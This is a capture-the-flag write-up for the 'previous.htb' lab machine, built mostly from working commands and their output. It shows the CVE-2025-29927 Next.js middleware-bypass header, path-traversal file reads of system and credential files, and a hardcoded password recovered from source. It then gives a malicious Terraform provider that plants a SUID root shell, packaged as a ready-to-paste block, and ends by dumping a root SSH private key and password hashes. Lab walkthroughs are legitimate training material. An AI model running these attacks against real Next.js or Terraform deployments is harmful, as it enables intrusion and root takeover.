Enum

  • Initial scans reveal SSH and HTTP
$ export IP=10.129.217.231
$ rustscan --ulimit 10000 -a $IP -- -sCTV -Pn
 
Open 10.129.217.231:22
Open 10.129.217.231:80
 
PORT   STATE SERVICE REASON  VERSION
22/tcp open  ssh     syn-ack OpenSSH 8.9p1 Ubuntu 3ubuntu0.13 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   256 3e:ea:45:4b:c5:d1:6d:6f:e2:d4:d1:3b:0a:3d:a9:4f (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBJ+m7rYl1vRtnm789pH3IRhxI4CNCANVj+N5kovboNzcw9vHsBwvPX3KYA3cxGbKiA0VqbKRpOHnpsMuHEXEVJc=
|   256 64:cc:75:de:4a:e6:a5:b4:73:eb:3f:1b:cf:b4:e3:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIOtuEdoYxTohG80Bo6YCqSzUY9+qbnAFnhsk4yAZNqhM
80/tcp open  http    syn-ack nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://previous.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
  • Add to /etc/hosts
$ echo "$IP previous.htb" | sudo tee -a /etc/hosts

  • We have a user contact - jeremy@previous.htb
  • No registration page to create account
  • Need creds or bypass to access anything further
  • Mentions opt-out of middleware, so middleware is present
  • Docs reveals API endpoints redirect http://previous.htb/api/auth/signin?callbackUrl=%2Fdocs
  • What exactly are we dealing with?
$ curl "http://previous.htb/"
 
<!DOCTYPE html><html><head><meta charSet="utf-8" data-next-head=""/><meta name="viewport" content="width=device-width" data-next-head=""/><title data-next-head="">PreviousJS</title><link rel="preload" href="/_next/static/css/9a1ff1f4870b5a50.css" as="style"/><link rel="stylesheet" href="/_next/static/css/9a1ff1f4870b5a50.css" data-n-g=""/><noscript data-n-css=""></noscript><script defer="" nomodule="" src="/_next/static/chunks/polyfills-42372ed130431b0a.js"></script><script src="/_next/static/chunks/webpack-cb370083d4f9953f.js" defer=""></script><script src="/_next/static/chunks/framework-ee17a4c43a44d3e2.js" defer=""></script><script src="/_next/static/chunks/main-0221d9991a31a63c.js" defer=""></script><script src="/_next/static/chunks/pages/_app-95f33af851b6322a.js" defer=""></script><script src="/_next/static/chunks/pages/index-a09f42904785092c.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_buildManifest.js" defer=""></script><script src="/_next/static/qVDR2cKpRgqCslEh-llk9/_ssgManifest.js" defer=""></script></head><body><div id="__next">
*snip*
  • Appears PreviousJS is using Next.js, funny it also reps anti-features
  • “Next.js bypass” Google search CVE-2025-29927
  • Add x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware to requests
  • Lets test against /Docs since we get prompted to sign in
$ curl -s -I "http://previous.htb/docs"
 
HTTP/1.1 307 Temporary Redirect
 
$ curl -s -I "http://previous.htb/docs" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
 
HTTP/1.1 200 OK
  • Bypass is working as we can see 200 OK
  • Can verify with browser (burp or js in console)
fetch("http://previous.htb/docs", {
  method: "GET",
  headers: {
    "X-Middleware-Subrequest": "middleware:middleware:middleware:middleware:middleware",
  },
})
  .then((response) => response.text())
  .then((html) => {
    const newWindow = window.open("", "_blank")
    newWindow.document.write(html)
    newWindow.document.close()
  })

  • Logged in as ???
  • So we know bypass works
  • Need more enumeration to actually do anything however
  • Let’s try to run gobuster with bypass to see if we can find anything new
$ gobuster dir -u http://previous.htb/api -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt -t 100 -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
 
===============================================================
Gobuster v3.8
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://previous.htb/api
[+] Method:                  GET
[+] Threads:                 100
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-small.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.8
[+] Timeout:                 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 400) [Size: 28]
  • A download parameter is good place to check for LFI but we do not know expected format
  • We can make one up and see what we get
$ curl -s "http://previous.htb/api/download?ASDF=test" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
 
{"error":"Invalid filename"}
  • So we know what happens for incorrect parameter
  • Lets FUZZ with ffuf and see if we can find any alternative responses by filtering out Invalid filename
$ ffuf -t 40 -u "http://previous.htb/api/download?FUZZ=test" -w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -fr "Invalid filename" -mc all
 
        /`___\  /`___\           /`___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://previous.htb/api/download?FUZZ=test
 :: Wordlist         : FUZZ: /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt
 :: Header           : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: all
 :: Filter           : Regexp: Invalid filename
________________________________________________
 
example                 [Status: 404, Size: 26, Words: 3, Lines: 1, Duration: 234ms]
:: Progress: [6453/6453] :: Job [1/1] :: 355 req/sec :: Duration: [0:00:26] :: Errors: 0 ::
  • /download?example=test returned a different result so lets check it out
$ curl -s "http://previous.htb/api/download?example=test" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
 
{"error":"File not found"}
  • Interesting, we must have successfully found our parameter as it accepts our request but not the file we specified
  • Let’s try to test LFI on this endpoint, working backwards to go forwards seems to be the theme of this machine.
$ ffuf -t 40 -u "http://previous.htb/api/download?example=FUZZ" -w /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" -mc 200
 
        /`___\  /`___\           /`___\
       /\ \__/ /\ \__/  __  __  /\ \__/
       \ \ ,__\\ \ ,__\/\ \/\ \ \ \ ,__\
        \ \ \_/ \ \ \_/\ \ \_\ \ \ \ \_/
         \ \_\   \ \_\  \ \____/  \ \_\
          \/_/    \/_/   \/___/    \/_/
 
       v2.1.0-dev
________________________________________________
 
 :: Method           : GET
 :: URL              : http://previous.htb/api/download?example=FUZZ
 :: Wordlist         : FUZZ: /usr/share/seclists/Fuzzing/LFI/LFI-LFISuite-pathtotest.txt
 :: Header           : X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware
 :: Follow redirects : false
 :: Calibration      : false
 :: Timeout          : 10
 :: Threads          : 40
 :: Matcher          : Response status: 200
________________________________________________
 
../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 103ms]
../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 111ms]
../../../../etc/passwd  [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 122ms]
../../../etc/passwd     [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 127ms]
../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 123ms]
../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 106ms]
../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 120ms]
../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 120ms]
../../../../../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 119ms]
../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 122ms]
../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 123ms]
../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 123ms]
../../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 136ms]
../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 146ms]
../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 147ms]
../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 127ms]
../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 150ms]
../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 136ms]
../../../../../../../../../../../etc/passwd [Status: 200, Size: 787, Words: 1, Lines: 20, Duration: 153ms]
../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 137ms]
../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 137ms]
../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 139ms]
../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 140ms]
../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 139ms]
../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 145ms]
../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 147ms]
../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 148ms]
../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 147ms]
../../../../../../../../../../../../../../../../../../proc/self/environ [Status: 200, Size: 216, Words: 1, Lines: 1, Duration: 116ms]
../../../etc/group      [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 113ms]
../../../../etc/group   [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 114ms]
../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 111ms]
../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 113ms]
../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 111ms]
../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 114ms]
../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 119ms]
../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 109ms]
../../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 108ms]
../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 110ms]
../../../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 110ms]
../../../../../../../../../../../../../../etc/group [Status: 200, Size: 548, Words: 1, Lines: 38, Duration: 110ms]
:: Progress: [569/569] :: Job [1/1] :: 333 req/sec :: Duration: [0:00:01] :: Errors: 0 ::

User

  • Seems to be vulnerable to LFI as we see 200 OK
  • Let us check some of these to verify
$ curl -s "http://previous.htb/api/download?example=../../../etc/passwd" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
 
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
node:x:1000:1000::/home/node:/bin/sh
nextjs:x:1001:65533::/home/nextjs:/sbin/nologin
 
$ curl -s "http://previous.htb/api/download?example=../../../proc/self/environ" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware" | tr '\0' '\n'
 
NODE_VERSION=18.20.8
HOSTNAME=0.0.0.0
YARN_VERSION=1.22.22
SHLVL=1
PORT=3000
HOME=/home/nextjs
PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
NEXT_TELEMETRY_DISABLED=1
PWD=/app
NODE_ENV=production
  • Successful LFI but appears we are in a docker container with /app as root directory
  • We should look for important next.js files, since there is predictable structure we can look for .next/server/pages-manifest.json
$ curl -s "http://previous.htb/api/download?example=../../../app/.next/server/pages-manifest.json" -H "X-Middleware-Subrequest: middleware:middleware:middleware:middleware:middleware"
 
{
  "/_app": "pages/_app.js",
  "/_error": "pages/_error.js",
  "/api/auth/[...nextauth]": "pages/api/auth/[...nextauth].js",
  "/api/download": "pages/api/download.js",
  "/docs/[section]": "pages/docs/[section].html",
  "/docs/components/layout": "pages/docs/components/layout.html",
  "/docs/components/sidebar": "pages/docs/components/sidebar.html",
  "/docs/content/examples": "pages/docs/content/examples.html",
  "/docs/content/getting-started": "pages/docs/content/getting-started.html",
  "/docs": "pages/docs.html",
  "/": "pages/index.html",
  "/signin": "pages/signin.html",
  "/_document": "pages/_document.js",
  "/404": "pages/404.html"
}
  • pages/api/auth/[...nextauth].js
  • This is a very important file that handles all authentication so lets see what is inside
  • Need to URL encode the brackets [] for curl usage
$ curl -s 'http://previous.htb/api/download?example=../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js' \
  -H 'x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware' \
  | npx prettier --parser babel
 
"use strict";
(() => {
  var e = {};
  ((e.id = 651),
    (e.ids = [651]),
    (e.modules = {
      3480: (e, n, r) => {
        e.exports = r(5600);
      },
      5600: (e) => {
        e.exports = require("next/dist/compiled/next-server/pages-api.runtime.prod.js");
      },
      6435: (e, n) => {
        Object.defineProperty(n, "M", {
          enumerable: !0,
          get: function () {
            return function e(n, r) {
              return r in n
                ? n[r]
                : "then" in n && "function" == typeof n.then
                  ? n.then((n) => e(n, r))
                  : "function" == typeof n && "default" === r
                    ? n
                    : void 0;
            };
          },
        });
      },
      8667: (e, n) => {
        Object.defineProperty(n, "A", {
          enumerable: !0,
          get: function () {
            return r;
          },
        });
        var r = (function (e) {
          return (
            (e.PAGES = "PAGES"),
            (e.PAGES_API = "PAGES_API"),
            (e.APP_PAGE = "APP_PAGE"),
            (e.APP_ROUTE = "APP_ROUTE"),
            (e.IMAGE = "IMAGE"),
            e
          );
        })({});
      },
      9832: (e, n, r) => {
        (r.r(n),
          r.d(n, { config: () => l, default: () => P, routeModule: () => A }));
        var t = {};
        (r.r(t), r.d(t, { default: () => p }));
        var a = r(3480),
          s = r(8667),
          i = r(6435);
        let u = require("next-auth/providers/credentials"),
          o = {
            session: { strategy: "jwt" },
            providers: [
              r.n(u)()({
                name: "Credentials",
                credentials: {
                  username: { label: "User", type: "username" },
                  password: { label: "Password", type: "password" },
                },
                authorize: async (e) =>
                  e?.username === "jeremy" &&
                  e.password ===
                    (process.env.ADMIN_SECRET ??
                      "MyNameIsJeremyAndILovePancakes")
                    ? { id: "1", name: "Jeremy" }
                    : null,
              }),
            ],
            pages: { signIn: "/signin" },
            secret: process.env.NEXTAUTH_SECRET,
          },
          d = require("next-auth"),
          p = r.n(d)()(o),
          P = (0, i.M)(t, "default"),
          l = (0, i.M)(t, "config"),
          A = new a.PagesAPIRouteModule({
            definition: {
              kind: s.A.PAGES_API,
              page: "/api/auth/[...nextauth]",
              pathname: "/api/auth/[...nextauth]",
              bundlePath: "",
              filename: "",
            },
            userland: t,
          });
      },
    }));
  var n = require("../../../webpack-api-runtime.js");
  n.C(e);
  var r = n((n.s = 9832));
  module.exports = r;
})();

User Creds

jeremy@previous.htb

MyNameIsJeremyAndILovePancakes

  • SSH as jeremy for flag
$ sshpass -p 'MyNameIsJeremyAndILovePancakes' ssh jeremy@previous.htb

Root

jeremy@previous:~$ ls -la
total 40
drwxr-x--- 5 jeremy jeremy 4096 Aug 23 20:49 .
drwxr-xr-x 3 root   root   4096 Aug 21 20:09 ..
lrwxrwxrwx 1 root   root      9 Aug 21 19:57 .bash_history -> /dev/null
-rw-r--r-- 1 jeremy jeremy  220 Aug 21 17:28 .bash_logout
-rw-r--r-- 1 jeremy jeremy 3771 Aug 21 17:28 .bashrc
drwx------ 2 jeremy jeremy 4096 Aug 21 20:09 .cache
drwxr-xr-x 3 jeremy jeremy 4096 Aug 21 20:09 docker
-rw-r--r-- 1 jeremy jeremy  807 Aug 21 17:28 .profile
drwxr-xr-x 2 root   root   4096 Aug 23 20:49 .terraform.d
-rw-rw-r-- 1 jeremy jeremy  156 Aug 23 21:24 .terraformrc
-rw-r----- 1 root   jeremy   33 Aug 23 20:47 user.txt
 
 
jeremy@previous:~$ sudo -l
[sudo] password for jeremy: MyNameIsJeremyAndILovePancakes
 
Matching Defaults entries for jeremy on previous:
    !env_reset, env_delete+=PATH, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty
 
User jeremy may run the following commands on previous:
    (root) /usr/bin/terraform -chdir\=/opt/examples apply
  • !env_reset Environment variables are NOT reset when using sudo (normally they would be cleared for security)
  • This means we can access Jeremy’s config files while executing as root
  • We have some examples in /opt/examples
jeremy@previous:~$ ls -la /opt/examples
total 28
drwxr-xr-x 3 root root 4096 Aug 24 03:31 .
drwxr-xr-x 5 root root 4096 Aug 21 20:09 ..
-rw-r--r-- 1 root root   18 Apr 12 20:32 .gitignore
-rw-r--r-- 1 root root  576 Aug 21 18:15 main.tf
drwxr-xr-x 3 root root 4096 Aug 21 20:09 .terraform
-rw-r--r-- 1 root root  247 Aug 21 18:16 .terraform.lock.hcl
-rw-r--r-- 1 root root 1097 Aug 24 03:31 terraform.tfstate
  • Lets examine the main.tf
jeremy@previous:~$ cat /opt/examples/main.tf
 
terraform {
  required_providers {
    examples = {
      source = "previous.htb/terraform/examples"
    }
  }
}
 
variable "source_path" {
  type = string
  default = "/root/examples/hello-world.ts"
 
  validation {
    condition = strcontains(var.source_path, "/root/examples/") && !strcontains(var.source_path, "..")
    error_message = "The source_path must contain '/root/examples/'."
  }
}
 
provider "examples" {}
 
resource "examples_example" "example" {
  source_path = var.source_path
}
 
output "destination_path" {
  value = examples_example.example.destination_path
}
  • Terraform requires a provider: previous.htb/terraform/examples
  • Hardcoded to load a binary named terraform-provider-examples
  • Let us check what that .terraformrc file contained
jeremy@previous:~$ cat .terraformrc
 
provider_installation
{
	dev_overrides
	{
		"previous.htb/terraform/examples" = "/usr/local/go/bin"
	}
 
	direct {}
}

Root Privesc

.terraformrc points to /usr/local/go/bin currently and we have privs to edit.

This path is where it will look for binary terraform-provider-examples

Can run with sudo rights and also preserves Jeremy’s env

  • So lets create a malicious Terraform provider in a path we control with our payload (I chose SUID shell but can read root.txt or whatever cmd you want)
# create path we control
jeremy@previous:~$ mkdir -p /tmp/malicious_provider
 
# create malicious version of terraform-provider-examples
jeremy@previous:~$ cat > /tmp/malicious_provider/terraform-provider-examples << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod 4755 /tmp/rootshell
exit 0
EOF
 
# make it executable
jeremy@previous:~$ chmod +x /tmp/malicious_provider/terraform-provider-examples
  • Configure Terraform to use malicious provider by editing .terraformrc
jeremy@previous:~$ cat > ~/.terraformrc << 'EOF'
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/tmp/malicious_provider"
        }
        direct {}
}
EOF
  • Trigger the exploit via sudo cmd
jeremy@previous:~$ sudo /usr/bin/terraform -chdir=/opt/examples apply
 
[sudo] password for jeremy:

│ Warning: Provider development overrides are in effect

│ The following provider development overrides are set in the CLI configuration:
- previous.htb/terraform/examples in /tmp/malicious_provider

│ The behavior may therefore not match any released version of the provider and applying changes may cause the state to become
│ incompatible with published releases.


│ Error: Failed to load plugin schemas

│ Error while loading schemas for plugin components: Failed to obtain provider schema: Could not load the schema for provider
│ previous.htb/terraform/examples: failed to instantiate provider "previous.htb/terraform/examples" to obtain schema: Unrecognized
│ remote plugin message:
│ Failed to read any lines from plugin`s stdout
│ This usually means
│   the plugin was not compiled for this architecture,
│   the plugin is missing dynamic-link libraries necessary to run,
│   the plugin is not executable by this process due to file permissions, or
│   the plugin failed to negotiate the initial go-plugin protocol handshake

│ Additional notes about plugin:
│   Path: /tmp/malicious_provider/terraform-provider-examples
│   Mode: -rwxrwxr-x
│   Owner: 1000 [jeremy] (current: 0 [root])
│   Group: 1000 [jeremy] (current: 0 [root])
  • Even though there are errors we see it executed and we just need to spawn root shell
jeremy@previous:~$ /tmp/rootshell -p
 
rootshell-5.1$ id
uid=1000(jeremy) gid=1000(jeremy) euid=0(root) groups=1000(jeremy)
 
rootshell-5.1$ ls /root
clean  examples  go  root.txt
  • AIO copypasta
mkdir -p /tmp/malicious_provider
cat > /tmp/malicious_provider/terraform-provider-examples << 'EOF'
#!/bin/bash
cp /bin/bash /tmp/rootshell
chmod 4755 /tmp/rootshell
exit 0
EOF
chmod +x /tmp/malicious_provider/terraform-provider-examples
cat > ~/.terraformrc << 'EOF'
provider_installation {
        dev_overrides {
                "previous.htb/terraform/examples" = "/tmp/malicious_provider"
        }
        direct {}
}
EOF
sudo /usr/bin/terraform -chdir=/opt/examples apply
/tmp/rootshell -p
  • SSH is available if you want to reconnect later as root
rootshell-5.1$ cat /root/.ssh/id_rsa
-----BEGIN OPENSSH PRIVATE KEY-----
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
-----END OPENSSH PRIVATE KEY-----
  • On local machine
$ nano root
(paste ssh)
 
$ chmod 600 root
$ ssh -i root root@previous.htb
 
root@previous:~$ ls
clean  examples  go  root.txt
root:$y$j9T$8eJygIdCzBjq.MydZo1XO0$2l7w4GXSdYpIEuvzgPad7Tm2YK6/7L.mTU.CiLfaPf8:20321:0:99999:7:::
jeremy:$y$j9T$.12cctgaWMDR8r3JYiB5q0$xAiP7hRx8A8br/fd2HPW8Ctu8XumwSCAsH4v9XUxdb4:20321:0:99999:7:::